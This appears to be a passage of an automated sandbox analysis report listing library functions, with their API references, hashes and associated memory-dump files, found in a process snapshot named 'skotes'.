Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 0022152A

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 4c7380d2528e33708f0a879616163eb53389699b0be87db6154834601344243d
Instruction ID: 1ca967886fdf8624cfeb8100e88efe27efbda7b8c57201101b307f9974b10a44
Opcode Fuzzy Hash: 4c7380d2528e33708f0a879616163eb53389699b0be87db6154834601344243d
Instruction Fuzzy Hash: 69318371E20616ABCF04EFA8D4919EDF7F1BF98710B54822DE415A7391CB34A961CF90

Function 00219C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00219C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00219CE8
std::bad_exception::bad_exception.LIBCMT ref: 00219CFE
std::bad_exception::bad_exception.LIBCMT ref: 00219D6A

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: c25ced9e447567492b8749c5a92c75ffc62755fb04fc9af1c44a72cc0813c53d
Instruction ID: ba78e9862e878b40ad35091676b810f80f7836f3de6c1debbf6662f5bf3a3155
Opcode Fuzzy Hash: c25ced9e447567492b8749c5a92c75ffc62755fb04fc9af1c44a72cc0813c53d
Instruction Fuzzy Hash: 3421D6759202089FCB09FFA4E5929DEB7F4AF25314B204069F001AB292DB316EE1CF50

Function 00214885 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00214893
ListArray.LIBCONCRT ref: 002148A5

Part of subcall function 00215555: _InternalDeleteHelper.LIBCONCRT ref: 00215564

ListArray.LIBCONCRT ref: 002148AF
_InternalDeleteHelper.LIBCONCRT ref: 002148C8

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 00e4e74407148f630f1503cc553977394d751eb4a04f4479c28afe20d671e723
Instruction ID: 2d67b549bd16460221779322b13667b96ec57102232a1fb4d74b76bf20139e9a
Opcode Fuzzy Hash: 00e4e74407148f630f1503cc553977394d751eb4a04f4479c28afe20d671e723
Instruction Fuzzy Hash: 4B01A731621622BFCB257B64D882EEAB7AABF947147010125F40897652DF20F8B18A90

Function 0021EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0021EE6A
ListArray.LIBCONCRT ref: 0021EE7C

Part of subcall function 0021EF29: _InternalDeleteHelper.LIBCONCRT ref: 0021EF3B

ListArray.LIBCONCRT ref: 0021EE86
_InternalDeleteHelper.LIBCONCRT ref: 0021EE9F

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 3e0f5ca3fb00e1de3703f183188dcdf9b271c554e548f7c71f2d066c6cc9725a
Instruction ID: 499372ad06039cba06d4384a06e4e93e84f1c4dd31d4394d648e5c17b8e6d0b1
Opcode Fuzzy Hash: 3e0f5ca3fb00e1de3703f183188dcdf9b271c554e548f7c71f2d066c6cc9725a
Instruction Fuzzy Hash: C5016731611612ABCE156F60DC82DAABBA9BF647507061425FC4557652CB10FCB19AD0

Function 0021D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0021D0C5
ListArray.LIBCONCRT ref: 0021D0D7

Part of subcall function 0021C6B2: _InternalDeleteHelper.LIBCONCRT ref: 0021C6C4

ListArray.LIBCONCRT ref: 0021D0E1
_InternalDeleteHelper.LIBCONCRT ref: 0021D0FA

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259289947.00000000003EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259746459.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259907932.00000000003F6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260136915.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260322337.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260532411.0000000000421000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260750661.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3260960462.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261185303.0000000000437000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261475635.0000000000455000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261688308.000000000045C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3261871848.0000000000463000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262113046.0000000000464000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262366389.0000000000465000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262635244.000000000046A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3262882555.0000000000471000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263089745.0000000000475000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263360680.000000000047F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263623398.0000000000487000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3263892152.0000000000488000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264123777.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264408167.000000000048B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264674532.000000000048D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3264947804.0000000000494000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.0000000000497000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265202111.00000000004D0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3265934711.00000000004FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266141882.00000000004FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266354492.0000000000500000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266604874.0000000000503000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3266810904.0000000000505000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267059772.0000000000515000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3267308457.0000000000516000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: b5b596ef618a5b5dd606cebddcd1e2e0a4325fd786f380f4eb4f86c87393fd23
Instruction ID: 2298990f6a56855a744c4fe14ca0a4c7741a438a8484e97926cb1af359bf1d8c
Opcode Fuzzy Hash: b5b596ef618a5b5dd606cebddcd1e2e0a4325fd786f380f4eb4f86c87393fd23
Instruction Fuzzy Hash: 6501A231211622BBCB257B60C882EAEBBAABF947107101425F40497652DF21FCB18A90

Function 002233C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 002233DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 002233EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00223407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0022341F

Memory Dump Source

Source File: 00000006.00000002.3255134958.00000000001F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 001F0000, based on PE: true

Associated: 00000006.00000002.3254886116.00000000001F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255134958.0000000000252000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3255957921.0000000000259000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256293740.000000000025B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3256725684.0000000000265000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257011358.0000000000266000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3257359085.0000000000267000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258381939.00000000003CC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258590761.00000000003CE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3258821017.00000000003E3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3259061374.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
